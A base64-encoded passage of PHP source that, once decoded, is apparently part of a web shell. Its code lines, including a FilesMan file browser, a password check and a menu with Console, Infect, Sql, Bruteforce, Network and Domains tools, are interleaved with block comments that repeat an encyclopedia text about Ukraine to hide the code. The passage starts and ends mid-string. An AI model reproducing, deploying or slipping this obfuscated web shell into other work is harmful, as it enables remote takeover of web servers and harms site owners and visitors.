YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCSRuPWNvdW50KCRwYXRoKTsKCWZvcigkaT0wOyRpPCRuLTE7JGkrKykgewoJCSRjd2RfbGlua3MgLj0gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLFwiIjsKCQlmb3IoJGo9MDskajw9JGk7JGorKykKCQkJJGN3ZF9saW5rcyAuPSAkcGF0aFskal0uJy8nOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkkY3dkX2xpbmtzIC49ICJcIiknPiIuJHBhdGhbJGldLiIvPC9hPiI7Cgl9CgkkY2hhcnNldHMgPSBhcnJheSgnVVRGLTgnLCAnV2luZG93cy0xMjUxJywgJ0tPSTgtUicsICdLT0k4LVUnLCAnY3A4NjYnKTsKCSRvcHRfY2hhcnNldHMgPSAnJzsKCWZvcmVhY2goJGNoYXJzZXRzIGFzICRpdGVtKQovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkkb3B0X2NoYXJzZXRzIC49ICc8b3B0aW9uIHZhbHVlPSInLiRpdGVtLiciICcuKCRfUE9TVFsnY2hhcnNldCddPT0kaXRlbT8nc2VsZWN0ZWQnOicnKS4nPicuJGl0ZW0uJzwvb3B0aW9uPic7CgkkbSA9IGFycmF5KCdTZWMuIEluZm8nPT4nU2VjSW5mbycsJ0ZpbGVzJz0+J0ZpbGVzTWFuJywnQ29uc29sZSc9PidDb25zb2xlJywnSW5mZWN0Jz0+J0luZmVjdCcsJ1NxbCc9PidTcWwnLCdQaHAnPT4nUGhwJywnU2FmZSBtb2RlJz0+J1NhZmVNb2RlJywnU3RyaW5nIHRvb2xzJz0+J1N0cmluZ1Rvb2xzJywnQnJ1dGVmb3JjZSc9PidCcnV0ZWZvcmNlJywnTmV0d29yayc9PidOZXR3b3JrJywnRG9tYWlucyc9PidEb21haW5zJyk7CgkKCWlmKCFlbXB0eSgkR0xPQkFMU1snYXV0aF9wYXNzJ10pKQoJJG1bJ0xvZ291dCddID0gJ0xvZ291dCc7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCB